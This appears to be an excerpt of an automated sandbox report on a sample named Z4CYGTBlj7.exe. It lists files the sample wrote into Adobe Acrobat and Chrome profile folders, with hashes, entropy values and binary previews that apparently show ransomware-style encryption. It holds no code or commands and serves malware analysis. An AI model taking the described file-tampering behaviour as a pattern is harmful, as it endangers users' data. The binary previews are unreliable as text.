Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	7.5573011587025825
Encrypted:	false
SSDEEP:	12:kfQ+kkv3FRp6FP/u3uI4rQDJMT6EC3uZlUXNKQscii9a:wv3Lp6t2eIoT6RuZlwsbD
MD5:	7FCF2F801B4CBC91D8FA5EB731243CFC
SHA1:	A59A5A7445CF2549CF03A98459180E58022414EF
SHA-256:	DF6DDBD1E21B06E63C8280C7342E83C159F2CC2F5D2AE3F5518B52A8C3CD10EB
SHA-512:	480C32DF0BA6D182B4074EC024055AAAF41F10AEA06B1EBC31AD77AADA4093BCB09394E7089344C8F82D53B27616339AAE33A016D9B3CD086803FF0D0C42AB0D
Malicious:	false
Preview:	2023/..E.U\|t..N...\|.v0h~....L..$.<.f.'...jj.O.a6..N.....L..Ni....>......z..s.. ..e"................Id.TN.18}Yj....mL;....>s..!).e!g.@...j..+....^..<{^...u.6...=..r.....>L.h..#1.-........-..\|...o.....y./...#D...l.\|U...F..0..Yv&1..=T...._..I=h^..l.smn.....#.Z..f.Qvw.:......X..CL....L.N.{k-_.7......j.->.......8.....3..A..9j........9..4.=.?..O.B..5.y.....r.0.j.#..\.......B......x+4q..bt'...oh...L..2.qz].m.....g..\..C...I1#K.@.6y.....;_Q..q.M..g..6.........)..k<...g^..B(.A.t).8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.689400822415267
Encrypted:	false
SSDEEP:	12:kx76fGvNtnHkwBMQ87s2HBPm7bC3NLtKg6vdi2wcJLFQscii9a:6IG1xHkN7t73NLQPs1vsbD
MD5:	A60C5B750377F4818C196110AB369C6D
SHA1:	711FE89C678E85DAD1CC970A2522E7070F49E1E0
SHA-256:	7A8B233F9F3D6FA4A4AB638A3B3ACD2DDC3274458BA12F9CE8E30F4E0FC77360
SHA-512:	1B4109281C52B8BB6BDBCC4690F30FF2977A6992A7003032F48D0A59586083F9B52C75361AC51C9CAF7BCAF7648B8083437ACC9A2B128E2F861465D3D07E8F0C
Malicious:	false
Preview:	2023/.PN.WC...YiK~....4uv...&.:.p.$....'g....Lk..h.}n...g...V..>.....zy...1.,.>.wb...E'..._..b.dXj..(\|..Ye..m.....T.\.cX-.x%.I..\..\~...).o%.Q>..#..K.". ;..n..Dm.. ...K&.....j+...P.).X..@.W<#cR...r. d&}...Q....~.I.K.]../..Q93.w}.y.x....2.........TA...f...y..I.T...-s....$....)Y.yQ.jY&\|..1.......(.E...A........=..o..>.Zr.3.9_.A.Qvn,.....F^....!....V....v4.....?L........,.'...l...N'].?..)...,._..]..k[.?.@.\.D...Z........fyT..W...*Cgc..7.o..?..]x4.U...P..l.H..Mj....{%@nX.....<..B.R........./!.:.(.I.3......!KI..s.lJ.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760528827702071
Encrypted:	false
SSDEEP:	24:YKWqPVIL6PT6BjAfpvAhVpkXAAB7IE3GRjsbD:YMPVIL676BjUsUALXjmD
MD5:	B717C0DCC402A81A8C89DD113C0AECFA
SHA1:	9F1403021424682E3410B4CFB0C7A9A364DB4E29
SHA-256:	99F0950C3B5D9011F89D8C672D027E9C3D9DA96B833D5B4B8D0F3A626528941B
SHA-512:	3474EE7DD5B8672AAD3848DD7534A077DB19317575FD7F3CEC0BAC22CA47718EA2970E2793FB824BA39CB75687078CC48177EBFE2ED96356CB928909F41BD6D3
Malicious:	false
Preview:	{"os_.....)p......G.`.;..I;+v..0+..M....zK.Y.B......BPbI.I....ZQo...-..[...^K@1.9\M.e.F!.t..J..i#'.!Tx#...$./QK...q)aZ.q...i.......Y^^.,Kn$(.#.90:.!..A7....M\..\|$..VQ..1...P.59....;.n5....~.?.;.....6.9Lr.....&OT.$.....-+.4...P..2....A....W...n.....)9..}.......I.0.3Vq.....Cj......V......H..}.....J!^,YiyQ.!9.......>..W.n....8..R.....OE.(.+S..D..0.....e]-.x3...d.pIk..{...GEg.1.@..U.~W.s..A!.sT.......\...Z({.....lA6nN.0t.8:.m.6..(..$M<m .Q.6g..u0..0.K<V....cE@N.......~l....W..-"..d.3.532.C......-.......(.x...f...z._a%Y..7...m3e...B.C.H.z.{..K[....$W-.....8..n..h.6]..g.=....\......D.X....]...`...#...{..P\.u<=.a.xpq{.R....&..`.y..I...P...{N.y.\?.7H.+u.}...;.?.N....q.....Of......z...a<.FB...... 7Wc...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.875758625782045
Encrypted:	false
SSDEEP:	24:XVqkjoLXP2qcziFgA7wsaWHqmgiJOqVIjTjmlmX6tulmrTUHgeznZLVsCsbD:XPMUeFt9Ym77o/jcQgKnZjmD
MD5:	CCFCDA85D3410917231EF0823A44673E
SHA1:	FA65D78FB7585F617C589A1BB6A5BC5E631D84CD
SHA-256:	537F263602FD67DF6A5400D7FEFEE9AA9A56AC199A2A744C29CCDC578117DB8D
SHA-512:	B30136F0E36F86C7618678B0231A45544FD02D0361FFE2F5ACC399CD103064367ED41D4D798115DFED93A80B8A767857C84A8F5A7D6936A85F39A516128011E8
Malicious:	false
Preview:	%!Ado..r&.a.W...j.....F...;..kN.H..."F..{...J....\A....c.F.u.D./.H....g.?..h.&`-.M.6...eG.Q.4[.0..........j.+DB.j..X.f.......,.J.h.9.Bl..._..hk....}Y<.tG./.M. 9ec.'.....u`..yl.2.<.q.soY;....D.'F<.B.A........&.PU"...8vf`].......p=.>\.,B.=A#I+.5..I.!......<.....62.eS.4.../...C....~.9..;ui..8s....O........c....(y.S..?v.H.B...I..X..C.....vn.5\...q=N..?.....Q....[..:..d/w....2.2.w.E..2...Gl\|.JLf..Q+...pW.q.d#a.x..Z.....&...+.wY.V7...[.n....L....7..G./g1.......\L#D....~......5..+.+.]Th...P.`.M...cN.V),l..N...X...)S.....t..FV..d.........,..7Z....&FA. A........\..Us.n....:.V..l-...]GS\|].}.....U.V..7.,..\e..}....%c.Y..Z..4..{.....5............SD8$...)._ .=wf_..Q,..J):e.AX..}.x.-.D."...r.]!...........k..XG.z...l.<..b..N.D.U..(.....m.k.F.......2.N)..Rl..O.$#Y.N`.y.R....T..i.E<...!...-b.7N..mb.+.^.\^.!.J.H.Cs.r...p3.{\..=.<z..2.C`x.gh..^.Y'..}....J...3...}...Z.@..)W...B{...[..?.\|..MK....,$)Y.IU{.../c..[.:d.]F>.7".qD..d..(\|...6...2..t..Z.~.......vA^.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877622525601822
Encrypted:	false
SSDEEP:	3072:w4phRFi0NBtj6k9HnBkrrAggRCT3J25ONiYxPhZxrgwU9jDz/CXE07ZmandGCyNu:71JjtEAclNBP5fU9eXE07ZmandGCyN2B
MD5:	00450B5F7C4CAF944FF0D329663F5E40
SHA1:	9D629B6B811413657DE611F1A9BF649D07A5A51F
SHA-256:	7750BC7CA203AC06FF3FE815FDF96BE1508C3D4EEB78A1B1E16DBF42E4FD9A27
SHA-512:	B73714B3378572BDBFC7F023D74208F1643E5908066B5AE27B04942E3278DFE11929118852D2AFF119D2EA3649F5FD44EBB9CFE9781025817F8EBDE60C7E3D8C
Malicious:	false
Preview:	%!Ado...G.q..1.f...H"..>...!UW...........h....(@..z...`....X......[.A...'....MW.<....]eC]x.J.F.Z.T..m.~J..O[.^..g.....Z..9F.G...H-.......e....1..=.....?\...:,F.q....K5......[L.M...+..pfK.j_n..~.S)..EY.:AG...I~q9.......B..L{..Y.tb^..j..cf..L..c[iJ.....b..u....u....q.1....0.#.....8w...`4\.......^GgR\|\|...a...}..~...m.#.upYT..k..~..Y..S....3...^F..lh..O...k.,.YX[cB.....l.+K...\([..@....\.....~G.oG:g.....=.......J../>T.3.&^.]....0"@;..z'...)%..1.......,....n...^.1/cF.d.,p...T..X.&{b.OV.....Z'....F..S:d\0[.][...[..1}e..>..=......aZ-...?t..!..F.\|{[% .......%....I.C.!.hEU.%y.....LE..d...`..p....K.O.].E,.!........F..0.......e.N.yp..x...b....B..nf.T..IY/.v.....i;n.o....j.!.......$../...!..Z...... y.@........."..sJ(.e.a...w.W..#.{T....;........+.~..+k.h.j..x...N.V..=/.lN....[J....Up..p......v.ob.L..-...Y.....?$...a6.k......WW:#.v..>...}(g.i.C.Y.v..VF..Z....E\..`h.@....B).sm.IB..`....4gm..4...Y.Y..OA.6..E...3..z.=0..s.....j&..a...JN...\|..'.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.9842353722108825
Encrypted:	false
SSDEEP:	3072:kNgvrcUg1NI7NjAJ9+AYzOUU+//Xw72DndyIumWXSMn0VJZ0OoWiRnN:kNAg1NI7NsFhUU+//WgEBcsnN
MD5:	A9646E848BE9BB455D8A657E356B4C47
SHA1:	E14F17A9FD1C0ED887CBB19A6AAC7989BB6BDEFC
SHA-256:	751EDFB53BBC20C92C1F64513690012F89E896D661A78ECECD44DBBCF6E4F232
SHA-512:	6301F6C71BF457CFFF04F36589364B96589160AE35E095EA3F9EDCA8196BAFB5FF0420C8F652A04F7C7D69BF2F590A248F04390D6E80B879B69A7A3DD679DB7C
Malicious:	false
Preview:	Adobeh."<e.J....w.J..R......%.....=D.........w"....l..VF..[..1p........$.).}h.[;.xH.@R....V..8#..e.0..""?.(.!..l......Z.3.....\|.....(.bx.SvM..3......'.H.,...[.t...[j.o.......qq..Q..~:."......t...:.....d#..O.......0.l.m.9_...2W....Ur....3..e.?...KXH.......\.D....M\........7.vh.S.......y".....2.E.s?..np....9.....}....(..-...W....8.(L...I...b...[..l..@\|... ...v.`.H ..!.)05X.q.........+Rxv......M...]3$.......c..b.A....._...W6.-~..h...Y..I...3.....r....ld;........w<w.G..;.F#.[bw.>.-..A...vs...!Q/3.z....m..L%..NV.O....I..V..'h.. J...(.U-.A..E.}.{1Uu._..;.#iH..s.....}.s.-...y..?W=..^}....a.`.4.-+.[?m ......vW.?:..L...yQ.v.7W....'.5../.../.n...rGI.M..p......."..c.&.........u2..M.%H...=.....M.h.._N......H..+....j......H..y..V............a.X.ao..5....K.&.9.z\Y,..]..-K..B.......z,\|..?=_.3Zr.e.y...........q.{.\|k........?F0........./.AJ.8.q.~a.-E...;..0=...T6..=.z..W.0<wN.Z...$...I..}..L.B.;%....u.Q.[...@..l.........B..`R....xgj...m.!1...ga

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.935041697471812
Encrypted:	false
SSDEEP:	48:YBmyiXynSCF+I71ElH+rSDlrgHQRx1C/p5bVpHNZLzhAOWRN4f2bdhmD:wiXqR71qJBqQo/rVPZLyOW42f+
MD5:	EF9E88AADED1E30232C75E7574323B23
SHA1:	185679B9E4D32D123FA97205DFBB07F4E91A0E73
SHA-256:	88B4577BFA0D6858DAC8703C05F25436C083236A59806FD9F95E3A77ED7064B0
SHA-512:	DCD6831FF56712E9573532802E43C1BAB5A232133FDFFA1977A8C63FEE1DE41FED5019C65D1BECC45F03A4B4E0FACEE85EEECFF2ABAFC138CADD6F29397CF506
Malicious:	false
Preview:	{"all.^.D.Ea_.%5...9=....%~....u..A...Q..........M@.3......._...M..B.....u..k[..Iu'.2lZ..){.P.R%).c.i=E....$.bp...<\SDd..%.\|...?.Z}W...........l...:..r....#uT.0\.:...&\A..t.i).hHfi'?!0.n.x.s.9m .'........L....i.......e.]......7.S.D...F..("`.=%.X.#..m...H..iO#\|mO........h..U{.......(.\|.:b....tt]J.%K@.y`.'Df..8.G.........b5).v.uC.... ...4.....N..'.+..f....?....7...L.i.4.9.%..>.9%.nrjl{..ZO...'.C...fb^.32"....[^....YX.oR.....F4.k.OV.tM~`.}w..F..iGtw..a..Q.@..Yk4&.!.."..Us.-;.ZG..HS=\|6.....L..2 q%..%f.@.....=...@......(.u........^./..b..1....$."..L.N.../.....?Z.E.(..`.#d....3~.......z.!..W..g>.,.8.l..^ch3J.iT........<..f[.D...Oo/......;.9.......9S7.R.T.@..@..&S...^.......A.sL.......s..%..\).6.*..6........-..5....l...q......~.%`U.V..6jh@..I..A.N..+Q.b{3...#........~.^.C..'.C;._N(P..:.v...8....&5.-.s...Jk...v.Y!....9.)7..JK./......bk,..F.<h...$....(U.x..N.G.....K.~.]m.d(Aw..p....<9..5w..n....0.!.&....L...V.P......N....Z..\|.l.;I...y.RQ...Ng".g-.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997617737911199
Encrypted:	true
SSDEEP:	1536:/2ofRKF/N/eV9wCtX9e4PfcTskBRo7B6y6emk1tEwdhYxsPR:+ofUhc0C9gAfcTPTaB6mEAux+
MD5:	B8AEE96F5F212C9B560CC78BA66F637D
SHA1:	0B72DAF9254A28A16BA0BFD817D6FCB8CFB145F4
SHA-256:	6DFB88B70063F28370DC42DADFE8FF4B3ADA91752EEAE0057AAB730D869A13AB
SHA-512:	EA5516AF84A48F0952C7CD39A722181F2EEAC32512FFC31A4F6498C18D13D9EBF0AD49DBB8519632FA7E18B3F3B16879C163869E84FB16DD0ED44686DD1DC35B
Malicious:	true
Preview:	4.397.....:..'..5..Z.+{._TV.z...R-...s+....$.u..wHV.5...p.%..\|.7h......{TI`..."d.A-`]...E.M....h9..G...B..2..6...u) ....L$_5J...."$....%.ELw.&...g../..X&aCT...+_.}..`.s..}E.~B[U.6g(..!._@...:.1.]..M.RC..o.S...E...\FW9.4..}....@...D..g65N.0.28H...>..J....5..,.ba.....a.V}.:....-..'^..fZ..'fn.vr%.K..>.u..I....P.p....b..6.A..m..kn8=...o;,\|...vWa..::1...Hgf....-...[\|.Mz1.c.....r .... ..H...%..a-..Y."KC...[.-..x+......>Q }K.z.:[W&..,f?{(.}....]..._..!VE..6P..[\|,.i..uH...j.4....\|.3...@..........\...?...j....{......@......j[.=7./.OP1.<6....9\|..9..F..z..K..C.O"d...#.$q....v...G.......05D.c.G;..eS5...q...b..@~%.t.....D6O.p..G.=I.r..(....`..e.3..../......!.t:.dNq ......".q.......Qu..`U{...F5K...Gx...<.l4O...6......<]i.^.Ooc.}N#..."....D..j.&.W...?B)O.-:S"....-M.....I.W/.<!..q+.. ..hM...C..$3.k%....M........Nq.R.B...7...[..}.n.R.O....,[fJH.\|..[...F7.I...E.X.....4....O/~.t..(9.vK.4.H3.>.P=......H.+......TD.~..\N.:U...)Un.*9I-.....:.6..]..H..:Q.......!^...Z...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.511653247854903
Encrypted:	false
SSDEEP:	12:qO+2sb2ZTMGmSaee6cn+NQR+KQozYSQscii9a:Ojb2tt8667+vrsbD
MD5:	1090C4AA9F6C0E200EBA7A597D17EF35
SHA1:	76894EAD8BC8C21AE087A62523C52FA189A1B6A3
SHA-256:	CB8C6C495D183AFB19550BAA384BC3B084D37F8C44645DCF677869215CAC2F0E
SHA-512:	FC10F7280AA03EC8ACE54E84BC82E3EE55A2958E6D9444B5D9DC018DA91C09B0B27A6686B8FC8DBB9438EFB52B1A8D09991CC6ED2BAA4B2EF460A01A86AEF522
Malicious:	false
Preview:	.f.5......ob.....5...zK'....j<.T..o..0.4.m.p.S..6...>@=^6.3K....2la.(..~@..y.6.f+...,..c..Q....>e.......O..C......{...4r........l...(...n.<gh:c\|hV.9au0G.)....+j6.rp...7.&.&(.....'...E..n*\...\@2.~.3e....e8.]"9............cJx.#..-..A.~..'.2....U....":..v..Pi....lq...Id...."U......2...._.?.S8IF..pL.H...\YY.w..[......6]s.;..0).w...HI..r.\.~_.Ez.i[YM..p..f>.......X%}.....$$<_K...O..n...:8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.44205221779576
Encrypted:	false
SSDEEP:	12:qN+9gEwEpdQ/ycqGmPME1rdB51EI1u9CnY0TemQNbcTQscii9a:PgMzGart1S9kXKccsbD
MD5:	3169A653ED8B39CB2F66B1CFAE49D10C
SHA1:	A55B690B1C9254840FDDB4D333D8D7BBD6C769A4
SHA-256:	CCFC56EE3D95082B08EB3E879CCE4D2C26F1E8854BB3CD42C19FC00B37FE6CE6
SHA-512:	0877B8AFE8D400C64F4E2543FF35DE197EF96668C1BD13FC4926AE8848682709493117376490B172D5C3D420A18BF86D68677F267A5077B25BECB98DDC9DCC08
Malicious:	false
Preview:	.f.5.8.].....\..........,....r.{K.8#.......!...t.Ba.<.0.......Df}.s.....b.K.F^.'=.a5.b 8..e.....E....x....S..p...K...Bw.G;...'...U...0..9Z{...:A............~. ...-%=lEM....6].SD..I....5...f}....,J........*.3.{v..._a.`.j.I........W..D.5_.8[.\|g..;..MB.:..p....-.q..P..JK.%...;....O...H.-..O.4..5...G..v.$..:"'.>.D..."(F.d.TI.ZHof..<.-}"S...u7Eg..\|DrJXc.0.(.FZc.r.t.UR8. ..q. .._j..SC.d...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.7363511589088025
Encrypted:	false
SSDEEP:	24:YzCgTmRR7yo2Jc8zo10GoBdO8PU5HRdDALsbD:Yz94oK070AU5HTcLmD
MD5:	D150E6B1C957EC876F46EA4F209853A7
SHA1:	8A1FFF9A6F0FD79D295A2012D9BC27F873C77214
SHA-256:	F8A7FF7DF3B04A4CACCA661CEC32119DBB47A3508A03F3A2EE4ED7269B3A7A49
SHA-512:	B5EAE301282C41506EFB807BA313EF0507D53FDE0D609647611597FACD01829CA8FF49A96E21CC29B286CE1A7AB6CA77AAEC119902160776074EFDD18E946AA2
Malicious:	false
Preview:	.f.5......C.....n.{]...;.KIY.s ...~...F.:C.I.9..+_+.c..._uC.....k..3x.5t.E.HK.4"H.rB..u.8+kx\.al.>.#......:Sj.A.yJ{b..q-....g4..z.6.8.....4.@....\|.."O.')./l...'x..&%.....4H.LF.;E....c..H...h(.....6/.u.U.....}..b.Evu....q.A...lI8`.)]T2.....)-.X........{.%O..:.z.xeep(...Y..@94...@..J.ia.?...#t."...+S.P...k......$....2.5'..V...M..e..7M.R1^..W...'.......w..b.'...r./..M...8T.J9.L.......L.....-\..g.F.".:....y.....R..o....7.........ms"A..nT...O8...P.:.T....u..{.z\|vc.`...&...7.+._.G..1....l...%.9P.3..\..=.......N...ME...0........ ?......bvF.o?...i....v.YH.R.`..r...z....Ke.m.ul.....p......r(.j.WN.&h.o.i.t.G....a01...0.....tB..Z....o...p.%.W\|.uJ.dP..K....g...'.H}0.}L...nff....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.966308450702391
Encrypted:	false
SSDEEP:	96:/qNt617kGoxFUoq48nXMQfnNeP6H3WiT3SG85V5OyRyJEh0/WtUO/9oocE76dR3u:CaIGoxHqlcQfNeiHhzSG85CyoJJ/Wa2v
MD5:	3B0CB33F5ABB95FE117CB5139507F0F2
SHA1:	4813AC6EC96F9BCE83D0748E0E29C4A755416618
SHA-256:	BF0C7FAB1EF3DE1E10AFA7D653CB74370C11938619910649F12DCBD749288058
SHA-512:	BD90CBC811251211AA2CEE9DF56AAB39EB2704BC86695CD8EDDC5724FC5654CE82AF0B10784EFB143F4A4D05B584EE2930AFF9A0B4395FBD552C73B3C39BE6B3
Malicious:	false
Preview:	.PNG.<..3,z..t...^.D.'.c:..a..\|..z.?`...1.hK.I..Zj!...N....LK....VC.z..'..F.....:@..r......OH%...+7#A...3%.........1T..y;"G'C..D./.Z....!4.}..d..X..].,.n9...qZ......v......'C%.. .(IE-....3q...o.......ud.....O...>.x8./..D.....}......?..... @Y'..;.fIO....\|......7N.........-..>#<3...@a.<.5A....S.\|....\...QG...w?L....a.<.!..Y.?3..f.L..(.H.....n..D..[+< <.K.Y.@l..jymPMtEd+....M.3.N..i.w.4..B..W...e....2.....(...T.........3..`U.c%..{..1.}...UZ0.t...o.qh+.._n.v..8..JR..n......E......VH......"J._..d.U.]..c(.+.s-3.o\Z........&?..._....jh.A5.D....}..r..o....i./..y.#..g..T.Ch<l..c.yj...DW....&.].j..?.[.s.....Q.cUW^.]..D.....-.3...q..b..`...]%..u...k..C&n&.i_.R..@.n.K.....y.b.32.3...cU .....>.G<@.@U.......B.sr.~.....(...-e......t............$.2."Vs..~..p......6.s .3\.07.[a...&}..c..4.6..$..k.&Nu.L.b..Z.':......ui..k..5..k...9.....-%,.......,.OP].D..g(-9<...Ar.Z..{>,.'..W..&p....,'O9..}n.^D.4m9.. .D.}....{E......$...B.../^\|......b!2<c...\...x

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3748
Entropy (8bit):	7.954082621060436
Encrypted:	false
SSDEEP:	96:hCtaR1NGrUGQekIBEkIIghpVP2QheesViOTHTANBteEAymP5VaK+:ocxGgtebBEk8VhP5FNDeKmP57+
MD5:	B2D6D97075EAB5CBA8E87C01B87A2451
SHA1:	EC66E3EA047858CB171611034433E1DACAEE7F00
SHA-256:	85F0D6C1B099E5E00ACD1E18EE0B61ABCD7076B25B2C41256959505C4E15C0F3
SHA-512:	76AE6293DFB4F2D09C62DD131AFD95EF3AA91831220659196C9A73DC66145E003AE38B70E4642DE622AF5D4B8D992583582F75FA0527569F922F38768D5ED7E6
Malicious:	false
Preview:	{"fil.{WW........D/..<n([.h3M.w1qY;=+."D.....n.4.bz..>J.u.$..R..2.G@...#....D..S..[....F.....A....EWR..`..... .......H..U....j`Pd.B..q.9%..p.Q.w...al).......D)B.o.:/. x92CGd\r..zv..1..L:..T..6..WJC;y.:t`l%/P.!.z.C.R\|&.#,@..#....&..@.......S.j.X....d7.<......AA....L..+...q..b.........b...)..zI...O...-8...j.....Ay..{....J..IVW.,...Y.]_..W.p..N:.....=.J.V......b=..T..w...lD.....u..[..m.".9wo.=}...'.7F.}-.....%}....12bB.....T.........M.I..0G...U.@.z....CEzNT>.(@....YO....L.C...U..s.......x..L.cg..9.`..^Yw..9...D......b..pE..P....f.e..\..nrU...M..P!.'z.....n<./......r6e.qf2v.G.gIH...."......p....N:......JV..7...82{h.<..A....psR.]I.H.4..9.$.o....O.........m:e..4.g.v.)...m..]..U...aw=.'.j...v.4L.E.......m.5..O(.V..1..5.,..[..F3.....7j.K...^}.l(.\|n.....46.S...<..<.Gs.....[.t...P@....QRX..t..}...e..x...eQ.+..1E..z.........Y._.m..=..H..,...{...z.B.\?.].).......=..I..s`......g......O.^28.@o]f.Z...g.../$....9..>y>...1....t.....z...J{.w....-.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.989917558096322
Encrypted:	false
SSDEEP:	384:FrypuARbgpejZH1UZJchJ57eVODaA30pL20cCJMnzxkg3s/J+1smTuP:Fry8AJgSH1UZKeQDXERdc1nzxD3jNY
MD5:	9D3C50AEAF014BAB2EC7833150CB1980
SHA1:	F0C60F42157533FAB7911839FA8F6B35DEC7BB38
SHA-256:	53F857813DB14597EB219AE6F5506AC950C4731770541C1805AF378098478866
SHA-512:	41EE1F160982AF1BD6534A4C528C4D33A6B574C8BEA208512A3B150FE91673279F96296F088D1E46F4DFBF75B6F34F2434CB6C638AAAB47C48151044A840DC2D
Malicious:	false
Preview:	[{"de"....0...X.VJ1DJ..8X...h..q......B.k...(...FF.o.}.zl.C.xc.....hw[.d..L...n.....j..j..\|....Dl........B...:../f.j....... h....{_...\..c..,..R.R..........k.%..o.[.4....1.z..H...7!k.H..L......C.z......7.O6..z.. .P...QG.;;.`5?...;..<l4.7r..5p...H...G...U\.\|.>.C..\|.w...[.:.ku.wE"...E....A...0`...x...:q....,+..'.....^..S..b.VH_.AN#.Mr\|8..A....'.Y.....5P....=.4.DZ.......e..\|.%zD..w....S..T..........A.aX.4......%..!.)..e1'>" ...#..X^X1..\.D....^..4\|.w./E..zN.~ve.."....S....2..,...1`..>.N..r_./^...(....4c.k.Z ....r. _+.;{y[..BE.t...<Y%..b2i.I-...lz[...{;?T.!.1!~.=:d.~...Q5..Yqw.a.V7.G....."$&j.6U.......p.EU....oM..>.,.f...#7..m..<...}....Uhq....h.x.5rzW>..=..1c....'2.s......{~e./...s...._.............E].it..p.o....q..{:d..<m...../..-..%.....7.].ycO..p\#m..J.8..Q...Ppz.\|.y.....O..Yd.!.w.d.}b..K`Y...9...2I.B..I4.....y..Z....;.Y.W..\.......lA..P.4....V..`....(..3H...).[F...b/..0.G.B#l..;...........{Zcf&.[.T..z..Zh.E.:la}7Z<.f.G6U..L....4...J...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.811282111265952
Encrypted:	false
SSDEEP:	24:1dnf8ymyxbsGR3nLU0ZQfv4paanJ3ut4u0T+F9AzgJ4sbD:38yPP9DZQf6fubIsOmD
MD5:	B37279AB64122643776D3635397132CF
SHA1:	F88DA836D53D81267CC13D978002C5187BA5F912
SHA-256:	9202BCDC7DDC9691B88AA32A87EA5F13449E969849E92DFABE5AECBDEE80D1B1
SHA-512:	1551D7DAC7140C4785440E7E55A35DF2DBE02CEEBC2C74BDC6BC2E954BDC9A98E705365987BF3B6CB4AD6ED79A06D6789FFDB38B8540CB4FF8DAB8BB62B6684A
Malicious:	false
Preview:	{. ".F...i.a...K..3o.G...)...$.:h..}p._$r:....)......T.Z5..E.IAT(.}.'y4....s...S....$.D..7....l....."_...~.M..Z..b.T.z\.z..Ef....:.\|.<<UN....`1.9.z..F`M..o....Y....H.v4.q..:..D...F.Q`k.[..!.."..tM[j.v5.G..K3Qn.8.....g....P..Hk..&.q....a.3Jv.. ....l. ..1H....>%D.BA...K..(.............+..%.qW..7.......T3H...E........0.P...LP.v..%.5....+..L..%w..0....W<Hy.xN,f.3....1......l.J..Z...j.Q......Q&xP....?b.F..C......^.Kt....6q..7....('W(9H.\|C`........E.....?....cZ..I...Q....LT.:WG6.@..@3I.>'\......1"@.....9....E.8Hl.^...zl.I...T..g..4.6..L.U.....7Q..P.c."..`.^......).t....+..A...!....FC.A@..T...f...z..'....D.:r).R.0....\Q.4W,..Pi... .`..S...........\"..!...a.. .4..a.w$?..........p......J...%.....F.{G....2....>..\|f.q.x.....Y0.%.z ...BV..].mI...6....yjM..Dy...nJo...0.HAQ..&5_.X..w.E....d.C..2)rD8O.y...b..._.~s.......XDh.{M...c...W..k..L.w.")$V...I.#...6+...y.gP#q.#...M..H......8..M...]...5E...C..C...........o.........U...&-....9q...!.

